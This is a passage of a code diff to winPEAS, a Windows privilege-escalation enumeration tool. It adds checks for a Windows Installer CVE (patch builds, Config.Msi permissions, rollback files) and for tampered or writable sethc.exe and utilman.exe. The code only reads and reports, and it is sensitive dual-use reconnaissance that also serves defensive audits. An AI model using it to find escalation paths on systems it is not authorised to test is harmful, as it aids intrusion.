DriverStart { get; set; } + public int? DriverType { get; set; } + public string DriverWmiPath { get; set; } = ""; + public string DriverStartMode { get; set; } = ""; + public string DriverState { get; set; } = ""; + public bool DriverStarted { get; set; } + public bool DeviceLinkPresent { get; set; } + public string DeviceLinkTarget { get; set; } = ""; + public bool AttackSurfaceEnabled { get; set; } + public List CollectionErrors { get; } = new List(); + + public bool HighPriorityFinding => + PatchStatus == StorvspPatchStatus.Susceptible && AttackSurfaceEnabled; + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs index b103173e..407b71fd 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs @@ -106,7 +106,10 @@ public static Dictionary GetBasicOSInfo() string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); string EditionID = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "EditionID"); string ReleaseId = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId"); + string DisplayVersion = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "DisplayVersion"); string BuildBranch = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "BuildBranch"); + string CurrentBuild = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuild"); + string UpdateBuildRevision = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "UBR"); string CurrentMajorVersionNumber = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentMajorVersionNumber"); string CurrentVersion = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion"); @@ -148,7 +151,10 @@ public static Dictionary GetBasicOSInfo() results.Add("ProductName", ProductName); results.Add("EditionID", EditionID); results.Add("ReleaseId", ReleaseId); + results.Add("DisplayVersion", DisplayVersion); results.Add("BuildBranch", BuildBranch); + results.Add("CurrentBuild", CurrentBuild); + results.Add("UpdateBuildRevision", UpdateBuildRevision); results.Add("CurrentMajorVersionNumber", CurrentMajorVersionNumber); results.Add("CurrentVersion", CurrentVersion); results.Add("Architecture", arch); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsInstallerCve27727.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsInstallerCve27727.cs new file mode 100644 index 00000000..9426ccb6 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsInstallerCve27727.cs @@ -0,0 +1,471 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Security.AccessControl; +using System.Security.Principal; +using winPEAS.Helpers; + +namespace winPEAS.Info.SystemInfo +{ + internal static class WindowsInstallerCve27727 + { + internal const string TempPackagesKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\TempPackages"; + internal const string InstallerFoldersKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders"; + + private static readonly Dictionary FixedBuilds = new Dictionary + { + { 6003, new FixedBuild(23220, "5055609/5055596") }, + { 7601, new FixedBuild(27670, "5055561/5055570") }, + { 9200, new FixedBuild(25423, "5055581") }, + { 9600, new FixedBuild(22523, "5055557") }, + { 10240, new FixedBuild(20978, "5055547") }, + { 14393, new FixedBuild(7969, "5055521") }, + { 17763, new FixedBuild(7136, "5055519") }, + { 19044, new FixedBuild(5737, "5055518") }, + { 19045, new FixedBuild(5737, "5055518") }, + { 20348, new FixedBuild(3453, "5055526") }, + { 22621, new FixedBuild(5189, "5055528") }, + { 22631, new FixedBuild(5189, "5055528") }, + { 25398, new FixedBuild(1551, "5055527") }, + { 26100, new FixedBuild(3775, "5055523") }, + }; + + internal static WindowsInstallerReport GetReport(Dictionary basicInfo) + { + var report = new WindowsInstallerReport + { + Architecture = GetValue(basicInfo, "Architecture"), + ProductName = GetValue(basicInfo, "ProductName"), + InstalledHotfixes = GetValue(basicInfo, "Hotfixes") + }; + + int build; + int revision; + if (int.TryParse(GetValue(basicInfo, "CurrentBuild"), out build) && + int.TryParse(GetValue(basicInfo, "UpdateBuildRevision"), out revision)) + { + report.Build = build; + report.Revision = revision; + report.BuildVersion = build + "." + revision; + + FixedBuild fixedBuild; + if (FixedBuilds.TryGetValue(build, out fixedBuild)) + { + report.FixedRevision = fixedBuild.Revision; + report.FixedVersion = build + "." + fixedBuild.Revision; + report.ApplicableKb = fixedBuild.Kb; + report.VersionStatus = revision < fixedBuild.Revision ? + WindowsInstallerVersionStatus.Susceptible : + WindowsInstallerVersionStatus.Patched; + } + else + { + report.VersionStatus = WindowsInstallerVersionStatus.NotListed; + } + } + else + { + report.VersionStatus = WindowsInstallerVersionStatus.Unknown; + } + + CollectMsiDll(report); + CollectRegistryArtifacts(report); + CollectConfigMsiArtifacts(report); + return report; + } + + private static string GetValue(Dictionary values, string key) + { + string value; + return values != null && values.TryGetValue(key, out value) ? value ?? "" : ""; + } + + private static void CollectMsiDll(WindowsInstallerReport report) + { + try + { + string windowsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + report.MsiDllPath = Path.Combine(windowsDirectory, "System32", "msi.dll"); + if (!File.Exists(report.MsiDllPath)) + { + return; + } + + FileVersionInfo version = FileVersionInfo.GetVersionInfo(report.MsiDllPath); + FileInfo file = new FileInfo(report.MsiDllPath); + report.MsiDllFileVersion = version.FileVersion ?? ""; + report.MsiDllProductVersion = version.ProductVersion ?? ""; + report.MsiDllCompany = version.CompanyName ?? ""; + report.MsiDllSize = file.Length; + report.MsiDllLastWriteUtc = file.LastWriteTimeUtc; + } + catch (Exception ex) + { + report.CollectionErrors.Add("msi.dll metadata: " + ex.Message); + } + } + + private static void CollectRegistryArtifacts(WindowsInstallerReport report) + { + try + { + using (RegistryKey baseKey = OpenLocalMachine()) + using (RegistryKey key = baseKey == null ? null : baseKey.OpenSubKey(TempPackagesKey)) + { + if (key != null) + { + string[] names = key.GetValueNames(); + report.TempPackagesTotal = names.Length; + foreach (string name in names.Take(100)) + { + object data = key.GetValue(name, null, RegistryValueOptions.DoNotExpandEnvironmentNames); + RegistryValueKind kind = key.GetValueKind(name); + long numericData; + bool isNumeric = TryGetInteger(data, out numericData); + var entry = new TempPackageEntry + { + Path = name, + Kind = kind.ToString(), + Data = data == null ? "(null)" : data.ToString(), + IsFolder = isNumeric && (numericData & 2) == 2, + IsConfigMsi = IsConfigMsiPath(name), + IsOutsideCommonInstallerLocations = !IsCommonInstallerLocation(name) + }; + report.TempPackages.Add(entry); + } + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("TempPackages registry: " + ex.Message); + } + + try + { + using (RegistryKey baseKey = OpenLocalMachine()) + using (RegistryKey key = baseKey == null ? null : baseKey.OpenSubKey(InstallerFoldersKey)) + { + if (key != null) + { + report.InstallerFoldersHasConfigMsi = key.GetValueNames().Any(IsConfigMsiPath); + } + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("Installer\\Folders registry: " + ex.Message); + } + } + + private static RegistryKey OpenLocalMachine() + { + try + { + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + } + catch + { + try + { + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32); + } + catch + { + return null; + } + } + } + + private static bool TryGetInteger(object value, out long result) + { + try + { + if (value is int || value is uint || value is long || value is ulong || + value is short || value is ushort || value is byte || value is sbyte) + { + result = Convert.ToInt64(value); + return true; + } + } + catch + { + } + + result = 0; + return false; + } + + private static bool IsConfigMsiPath(string path) + { + if (string.IsNullOrWhiteSpace(path)) + { + return false; + } + + try + { + string root = Path.GetPathRoot(Environment.SystemDirectory); + string expected = Path.Combine(root, "Config.Msi").TrimEnd('\\'); + string actual = Environment.ExpandEnvironmentVariables(path).TrimEnd('\\'); + return string.Equals(actual, expected, StringComparison.OrdinalIgnoreCase); + } + catch + { + return false; + } + } + + private static bool IsCommonInstallerLocation(string path) + { + if (string.IsNullOrWhiteSpace(path)) + { + return false; + } + + try + { + string expanded = Path.GetFullPath(Environment.ExpandEnvironmentVariables(path)); + string windowsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + string programData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData); + var expectedRoots = new[] + { + Path.Combine(windowsDirectory, "Installer"), + Path.Combine(windowsDirectory, "Temp"), + Path.GetTempPath(), + Path.Combine(programData, "Package Cache") + }; + + return IsConfigMsiPath(expanded) || expectedRoots.Any(root => IsPathUnder(expanded, root)); + } + catch + { + return false; + } + } + + private static bool IsPathUnder(string path, string root) + { + if (string.IsNullOrWhiteSpace(root)) + { + return false; + } + + string normalizedPath = Path.GetFullPath(path).TrimEnd('\\') + "\\"; + string normalizedRoot = Path.GetFullPath(root).TrimEnd('\\') + "\\"; + return normalizedPath.StartsWith(normalizedRoot, StringComparison.OrdinalIgnoreCase); + } + + private static void CollectConfigMsiArtifacts(WindowsInstallerReport report) + { + try + { + string systemDirectory = Environment.SystemDirectory; + string driveRoot = string.IsNullOrWhiteSpace(systemDirectory) ? "" : Path.GetPathRoot(systemDirectory); + if (string.IsNullOrWhiteSpace(driveRoot)) + { + report.CollectionErrors.Add("Config.Msi path: unable to determine the Windows system drive."); + return; + } + + report.ConfigMsiPath = Path.Combine(driveRoot, "Config.Msi"); + report.ConfigMsiExists = Directory.Exists(report.ConfigMsiPath); + } + catch (Exception ex) + { + report.CollectionErrors.Add("Config.Msi path: " + ex.Message); + return; + } + + if (!report.ConfigMsiExists) + { + return; + } + + try + { + DirectoryInfo directory = new DirectoryInfo(report.ConfigMsiPath); + report.ConfigMsiCreationUtc = directory.CreationTimeUtc; + report.ConfigMsiLastWriteUtc = directory.LastWriteTimeUtc; + report.ConfigMsiRecentlyChanged = directory.LastWriteTimeUtc >= DateTime.UtcNow.AddDays(-7); + + DirectorySecurity security = Directory.GetAccessControl( + report.ConfigMsiPath, + AccessControlSections.Owner | AccessControlSections.Access); + SecurityIdentifier ownerSid = security.GetOwner(typeof(SecurityIdentifier)) as SecurityIdentifier; + if (ownerSid != null) + { + report.ConfigMsiOwner = TranslateSid(ownerSid); + report.ConfigMsiUnusualOwner = !IsExpectedOwner(ownerSid.Value); + } + + byte[] descriptor = security.GetSecurityDescriptorBinaryForm(); + var rawDescriptor = new RawSecurityDescriptor(descriptor, 0); + report.ConfigMsiNullDacl = rawDescriptor.DiscretionaryAcl == null; + report.ConfigMsiDangerousAcls.AddRange(GetDangerousAclEntries(security)); + } + catch (Exception ex) + { + report.CollectionErrors.Add("Config.Msi security: " + ex.Message); + } + + try + { + IEnumerable rollbackFiles = Directory.EnumerateFiles(report.ConfigMsiPath, "*.rbs", SearchOption.TopDirectoryOnly) + .Concat(Directory.EnumerateFiles(report.ConfigMsiPath, "*.rbf", SearchOption.TopDirectoryOnly)) + .Distinct(StringComparer.OrdinalIgnoreCase) + .Take(20); + foreach (string rollbackFile in rollbackFiles) + { + FileInfo file = new FileInfo(rollbackFile); + report.RollbackFiles.Add(file.Name + " (last write UTC: " + file.LastWriteTimeUtc.ToString("u") + ")"); + } + } + catch (Exception ex) + { + report.CollectionErrors.Add("Config.Msi rollback files: " + ex.Message); + } + } + + private static IEnumerable GetDangerousAclEntries(DirectorySecurity security) + { + HashSet unprivilegedSids = PermissionsHelper.GetUnprivilegedTokenSids(); + foreach (FileSystemAccessRule rule in security.GetAccessRules(true, true, typeof(SecurityIdentifier))) + { + var sid = rule.IdentityReference as SecurityIdentifier; + if (sid == null || !unprivilegedSids.Contains(sid.Value) || rule.AccessControlType != AccessControlType.Allow) + { + continue; + } + + List rights = GetDangerousRights(rule.FileSystemRights); + if (rights.Count > 0) + { + yield return TranslateSid(sid) + ": " + string.Join(", ", rights) + + (rule.IsInherited ? " (inherited)" : " (explicit)"); + } + } + } + + private static List GetDangerousRights(FileSystemRights granted) + { + var rights = new List(); + AddRight(rights, granted, FileSystemRights.FullControl, "FullControl"); + if (rights.Count > 0) + { + return rights; + } + + AddRight(rights, granted, FileSystemRights.ChangePermissions, "WRITE_DAC"); + AddRight(rights, granted, FileSystemRights.TakeOwnership, "WRITE_OWNER"); + AddRight(rights, granted, FileSystemRights.DeleteSubdirectoriesAndFiles, "FILE_DELETE_CHILD"); + AddRight(rights, granted, FileSystemRights.Modify, "Modify"); + AddRight(rights, granted, FileSystemRights.WriteData, "CreateFiles/WriteData"); + AddRight(rights, granted, FileSystemRights.AppendData, "CreateDirectories/AppendData"); + AddRight(rights, granted, FileSystemRights.Delete, "Delete"); + return rights.Distinct().ToList(); + } + + private static void AddRight(List output, FileSystemRights granted, FileSystemRights right, string name) + { + if ((granted & right) == right) + { + output.Add(name); + } + } + + private static string TranslateSid(SecurityIdentifier sid) + { + try + { + return sid.Translate(typeof(NTAccount)).Value + " (" + sid.Value + ")"; + } + catch + { + return sid.Value; + } + } + + private static bool IsExpectedOwner(string sid) + { + return string.Equals(sid, "S-1-5-18", StringComparison.OrdinalIgnoreCase) || + string.Equals(sid, "S-1-5-32-544", StringComparison.OrdinalIgnoreCase) || + string.Equals(sid, "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", StringComparison.OrdinalIgnoreCase); + } + + private sealed class FixedBuild + { + internal FixedBuild(int revision, string kb) + { + Revision = revision; + Kb = kb; + } + + internal int Revision { get; private set; } + internal string Kb { get; private set; } + } + } + + internal enum WindowsInstallerVersionStatus + { + Unknown, + Susceptible, + Patched, + NotListed + } + + internal sealed class TempPackageEntry + { + internal string Path { get; set; } + internal string Kind { get; set; } + internal string Data { get; set; } + internal bool IsFolder { get; set; } + internal bool IsConfigMsi { get; set; } + internal bool IsOutsideCommonInstallerLocations { get; set; } + } + + internal sealed class WindowsInstallerReport + { + internal WindowsInstallerReport() + { + TempPackages = new List(); + ConfigMsiDangerousAcls = new List(); + RollbackFiles = new List(); + CollectionErrors = new List(); + } + + internal string ProductName { get; set; } + internal string Architecture { get; set; } + internal string InstalledHotfixes { get; set; } + internal int Build { get; set; } + internal int Revision { get; set; } + internal int FixedRevision { get; set; } + internal string BuildVersion { get; set; } + internal string FixedVersion { get; set; } + internal string ApplicableKb { get; set; } + internal WindowsInstallerVersionStatus VersionStatus { get; set; } + internal string MsiDllPath { get; set; } + internal string MsiDllFileVersion { get; set; } + internal string MsiDllProductVersion { get; set; } + internal string MsiDllCompany { get; set; } + internal long MsiDllSize { get; set; } + internal DateTime MsiDllLastWriteUtc { get; set; } + internal int TempPackagesTotal { get; set; } + internal List TempPackages { get; private set; } + internal bool InstallerFoldersHasConfigMsi { get; set; } + internal string ConfigMsiPath { get; set; } + internal bool ConfigMsiExists { get; set; } + internal string ConfigMsiOwner { get; set; } + internal bool ConfigMsiUnusualOwner { get; set; } + internal bool ConfigMsiNullDacl { get; set; } + internal DateTime ConfigMsiCreationUtc { get; set; } + internal DateTime ConfigMsiLastWriteUtc { get; set; } + internal bool ConfigMsiRecentlyChanged { get; set; } + internal List ConfigMsiDangerousAcls { get; private set; } + internal List RollbackFiles { get; private set; } + internal List CollectionErrors { get; private set; } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsVersionVulns.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsVersionVulns.cs index d7e39db0..2591431c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsVersionVulns.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsVersionVulns.cs @@ -75,6 +75,19 @@ internal static WindowsVersionVulnReport GetVulnerabilityReport(Dictionary basicInfo, string hotfix) + { + if (string.IsNullOrWhiteSpace(hotfix)) + { + return false; + } + + var definitions = LoadDefinitions(); + var installedHotfixes = GetInstalledHotfixes(basicInfo); + var suppressed = ExpandSupersededHotfixes(installedHotfixes, definitions?.kb_supersedes); + return suppressed.Contains(hotfix.Replace("KB", "").Trim()); + } + private static void AddProductMatches( Dictionary> products, string candidate, @@ -271,6 +284,11 @@ private static List BuildCandidateProducts(Dictionary ba private static void AddServerCandidates(List candidates, string productText, int build, string arch, string servicePack) { + if (!Contains(productText, "Windows Server")) + { + return; + } + string serverName = ""; if (Contains(productText, "Server 2025")) serverName = "2025"; else if (Contains(productText, "Server 2022")) serverName = "2022"; @@ -315,6 +333,10 @@ private static void AddServerCandidates(List candidates, string productT private static string GetArchitectureLabel(string systemType) { string value = (systemType ?? "").ToLowerInvariant(); + if (value.Contains("arm64")) + { + return "ARM64-based"; + } if (value.Contains("x64")) { return "x64-based"; diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/AccessibilityBinaryIntegrity.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/AccessibilityBinaryIntegrity.cs new file mode 100644 index 00000000..8d791923 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/AccessibilityBinaryIntegrity.cs @@ -0,0 +1,404 @@ +using Microsoft.Win32.SafeHandles; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; +using winPEAS.Helpers; + +namespace winPEAS.Info.WindowsCreds +{ + internal sealed class AccessibilityBinaryInfo + { + public string Path { get; set; } + public string Sha256 { get; set; } + public long? Size { get; set; } + public DateTime? LastWriteTimeUtc { get; set; } + public string Owner { get; set; } + public string FileVersion { get; set; } + public string OriginalFileName { get; set; } + public string Signer { get; set; } + public string SignatureStatus { get; set; } + public FileAttributes? Attributes { get; set; } + public uint? HardLinkCount { get; set; } + public List LowPrivilegeWriteAces { get; } = new List(); + public List Issues { get; } = new List(); + + public bool IsSuspicious => Issues.Count > 0; + } + + internal static class AccessibilityBinaryIntegrity + { + private const FileSystemRights DangerousRights = + FileSystemRights.WriteData | + FileSystemRights.AppendData | + FileSystemRights.WriteExtendedAttributes | + FileSystemRights.WriteAttributes | + FileSystemRights.Delete | + FileSystemRights.ChangePermissions | + FileSystemRights.TakeOwnership; + + private const uint GenericRead = 0x80000000; + private const uint FileShareRead = 0x00000001; + private const uint FileShareWrite = 0x00000002; + private const uint FileShareDelete = 0x00000004; + private const uint OpenExisting = 3; + private const uint FileFlagBackupSemantics = 0x02000000; + + private static readonly string[] BinaryNames = { "sethc.exe", "utilman.exe" }; + private static readonly Guid WinTrustActionGenericVerifyV2 = + new Guid("00AAC56B-CD44-11D0-8CC2-00C04FC295EE"); + + public static List GetBinaryInfo() + { + var results = new List(); + foreach (var location in GetSystemLocations()) + { + foreach (string binaryName in BinaryNames) + { + results.Add(InspectBinary( + Path.Combine(location.Item1, binaryName), + Path.Combine(location.Item2, binaryName), + binaryName)); + } + } + return results; + } + + private static IEnumerable> GetSystemLocations() + { + string windowsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + if (string.IsNullOrEmpty(windowsDirectory)) + { + windowsDirectory = Path.GetPathRoot(Environment.SystemDirectory) + "Windows"; + } + + if (Environment.Is64BitOperatingSystem && !Environment.Is64BitProcess) + { + // Sysnative bypasses WOW64 file-system redirection for a 32-bit winPEAS process. + yield return Tuple.Create( + Path.Combine(windowsDirectory, "Sysnative"), + Path.Combine(windowsDirectory, "System32")); + yield return Tuple.Create( + Path.Combine(windowsDirectory, "SysWOW64"), + Path.Combine(windowsDirectory, "SysWOW64")); + yield break; + } + + yield return Tuple.Create( + Path.Combine(windowsDirectory, "System32"), + Path.Combine(windowsDirectory, "System32")); + + if (Environment.Is64BitOperatingSystem) + { + yield return Tuple.Create( + Path.Combine(windowsDirectory, "SysWOW64"), + Path.Combine(windowsDirectory, "SysWOW64")); + } + } + + private static AccessibilityBinaryInfo InspectBinary( + string accessPath, + string displayPath, + string expectedFileName) + { + var result = new AccessibilityBinaryInfo + { + Path = displayPath, + SignatureStatus = "Not checked" + }; + + if (!File.Exists(accessPath)) + { + result.Issues.Add("file is missing or inaccessible"); + return result; + } + + try + { + var file = new FileInfo(accessPath); + result.Size = file.Length; + result.LastWriteTimeUtc = file.LastWriteTimeUtc; + result.Attributes = file.Attributes; + result.HardLinkCount = GetHardLinkCount(accessPath); + result.Sha256 = GetSha256(accessPath); + result.Owner = GetOwner(accessPath); + + if ((file.Attributes & FileAttributes.ReparsePoint) != 0) + { + result.Issues.Add("file is a reparse point"); + } + + FileVersionInfo version = FileVersionInfo.GetVersionInfo(accessPath); + result.FileVersion = version.FileVersion; + result.OriginalFileName = version.OriginalFilename; + if (!string.Equals(version.OriginalFilename, expectedFileName, StringComparison.OrdinalIgnoreCase)) + { + result.Issues.Add("PE original filename is not " + expectedFileName); + } + + bool signatureValid = VerifyAuthenticode(accessPath, out string signatureStatus); + result.SignatureStatus = signatureStatus; + result.Signer = GetSigner(accessPath); + if (!signatureValid) + { + result.Issues.Add("Authenticode trust validation failed"); + } + if (!string.IsNullOrEmpty(result.Signer) && + result.Signer.IndexOf("Microsoft", StringComparison.OrdinalIgnoreCase) < 0) + { + result.Issues.Add("signer is not Microsoft"); + } + + if (!IsExpectedOwner(result.Owner)) + { + result.Issues.Add("unexpected owner"); + } + + result.LowPrivilegeWriteAces.AddRange(GetLowPrivilegeWriteAces(accessPath)); + if (result.LowPrivilegeWriteAces.Count > 0) + { + result.Issues.Add("low-privilege principal has a write-equivalent allow ACE"); + } + } + catch (Exception ex) + { + result.Issues.Add("inspection failed: " + ex.Message); + } + + return result; + } + + private static string GetSha256(string path) + { + using (var stream = new FileStream( + path, + FileMode.Open, + FileAccess.Read, + FileShare.ReadWrite | FileShare.Delete, + 8192, + FileOptions.SequentialScan)) + using (var sha256 = SHA256.Create()) + { + return BitConverter.ToString(sha256.ComputeHash(stream)).Replace("-", string.Empty); + } + } + + private static string GetOwner(string path) + { + FileSecurity security = File.GetAccessControl(path, AccessControlSections.Owner); + IdentityReference owner = security.GetOwner(typeof(SecurityIdentifier)); + try + { + return owner.Translate(typeof(NTAccount)).Value + " [" + owner.Value + "]"; + } + catch + { + return owner.Value; + } + } + + private static bool IsExpectedOwner(string owner) + { + if (string.IsNullOrEmpty(owner)) + { + return false; + } + + string[] expectedOwnerSids = + { + "S-1-5-18", // Local System + "S-1-5-32-544", // Built-in Administrators + "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464" // TrustedInstaller + }; + return expectedOwnerSids.Any(sid => + string.Equals(owner, sid, StringComparison.OrdinalIgnoreCase) || + owner.EndsWith("[" + sid + "]", StringComparison.OrdinalIgnoreCase)); + } + + private static IEnumerable GetLowPrivilegeWriteAces(string path) + { + var findings = new List(); + HashSet lowPrivilegeSids = PermissionsHelper.GetUnprivilegedTokenSids(); + FileSecurity security = File.GetAccessControl(path, AccessControlSections.Access); + + foreach (FileSystemAccessRule rule in security.GetAccessRules(true, true, typeof(SecurityIdentifier))) + { + if (rule.AccessControlType != AccessControlType.Allow || + (rule.FileSystemRights & DangerousRights) == 0 || + !lowPrivilegeSids.Contains(rule.IdentityReference.Value)) + { + continue; + } + + string identity = rule.IdentityReference.Value; + try + { + identity = rule.IdentityReference.Translate(typeof(NTAccount)).Value; + } + catch + { + // Keep the SID when the account name cannot be resolved. + } + + findings.Add(identity + ": " + (rule.FileSystemRights & DangerousRights)); + } + + return findings.Distinct(StringComparer.OrdinalIgnoreCase); + } + + private static string GetSigner(string path) + { + try + { + using (var signedFileCertificate = X509Certificate.CreateFromSignedFile(path)) + using (var certificate = new X509Certificate2(signedFileCertificate)) + { + return certificate.Subject; + } + } + catch + { + return string.Empty; + } + } + + private static bool VerifyAuthenticode(string path, out string status) + { + IntPtr fileInfoPointer = IntPtr.Zero; + try + { + var fileInfo = new WinTrustFileInfo(path); + fileInfoPointer = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof(WinTrustFileInfo))); + Marshal.StructureToPtr(fileInfo, fileInfoPointer, false); + + var trustData = new WinTrustData(fileInfoPointer); + int result = WinVerifyTrust(new IntPtr(-1), WinTrustActionGenericVerifyV2, trustData); + status = result == 0 ? "Valid" : "Invalid (0x" + result.ToString("X8") + ")"; + return result == 0; + } + catch (Exception ex) + { + status = "Error: " + ex.Message; + return false; + } + finally + { + if (fileInfoPointer != IntPtr.Zero) + { + Marshal.DestroyStructure(fileInfoPointer, typeof(WinTrustFileInfo)); + Marshal.FreeCoTaskMem(fileInfoPointer); + } + } + } + + private static uint? GetHardLinkCount(string path) + { + using (SafeFileHandle handle = CreateFile( + path, + GenericRead, + FileShareRead | FileShareWrite | FileShareDelete, + IntPtr.Zero, + OpenExisting, + FileFlagBackupSemantics, + IntPtr.Zero)) + { + if (handle.IsInvalid || !GetFileInformationByHandle(handle, out ByHandleFileInformation info)) + { + return null; + } + return info.NumberOfLinks; + } + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct WinTrustFileInfo + { + public uint StructSize; + [MarshalAs(UnmanagedType.LPWStr)] + public string FilePath; + public IntPtr FileHandle; + public IntPtr KnownSubject; + + public WinTrustFileInfo(string filePath) + { + StructSize = (uint)Marshal.SizeOf(typeof(WinTrustFileInfo)); + FilePath = filePath; + FileHandle = IntPtr.Zero; + KnownSubject = IntPtr.Zero; + } + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private sealed class WinTrustData + { + public uint StructSize = (uint)Marshal.SizeOf(typeof(WinTrustData)); + public IntPtr PolicyCallbackData = IntPtr.Zero; + public IntPtr SipClientData = IntPtr.Zero; + public uint UiChoice = 2; // WTD_UI_NONE + public uint RevocationChecks = 0; // WTD_REVOKE_NONE + public uint UnionChoice = 1; // WTD_CHOICE_FILE + public IntPtr FileInfoPointer; + public uint StateAction = 0; // WTD_STATEACTION_IGNORE + public IntPtr StateData = IntPtr.Zero; + public IntPtr UrlReference = IntPtr.Zero; + public uint ProviderFlags = 0x00001000; // WTD_CACHE_ONLY_URL_RETRIEVAL + public uint UiContext = 0; + public IntPtr SignatureSettings = IntPtr.Zero; + + public WinTrustData(IntPtr fileInfoPointer) + { + FileInfoPointer = fileInfoPointer; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct FileTime + { + public uint Low; + public uint High; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ByHandleFileInformation + { + public uint FileAttributes; + public FileTime CreationTime; + public FileTime LastAccessTime; + public FileTime LastWriteTime; + public uint VolumeSerialNumber; + public uint FileSizeHigh; + public uint FileSizeLow; + public uint NumberOfLinks; + public uint FileIndexHigh; + public uint FileIndexLow; + } + + [DllImport("wintrust.dll", CharSet = CharSet.Unicode, ExactSpelling = true)] + private static extern int WinVerifyTrust( + IntPtr hwnd, + [MarshalAs(UnmanagedType.LPStruct)] Guid actionId, + [In] WinTrustData trustData); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern SafeFileHandle CreateFile( + string fileName, + uint desiredAccess, + uint shareMode, + IntPtr securityAttributes, + uint creationDisposition, + uint flagsAndAttributes, + IntPtr templateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetFileInformationByHandle( + SafeFileHandle fileHandle, + out ByHandleFileInformation fileInformation); + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPServerSettings.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPServerSettings.cs index 8eafecb0..de7af038 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPServerSettings.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPServerSettings.cs @@ -2,6 +2,7 @@ { internal class RDPServerSettings { + public bool? RemoteDesktopEnabled { get; } public uint? NetworkLevelAuthentication { get; } public uint? BlockClipboardRedirection { get; } public uint? BlockComPortRedirection { get; } @@ -12,6 +13,7 @@ internal class RDPServerSettings public uint? BlockPrinterRedirection { get; } public RDPServerSettings( + bool? remoteDesktopEnabled, uint? networkLevelAuthentication, uint? blockClipboardRedirection, uint? blockComPortRedirection, @@ -21,6 +23,7 @@ public RDPServerSettings( uint? blockPnPDeviceRedirection, uint? blockPrinterRedirection) { + RemoteDesktopEnabled = remoteDesktopEnabled; NetworkLevelAuthentication = networkLevelAuthentication; BlockClipboardRedirection = blockClipboardRedirection; 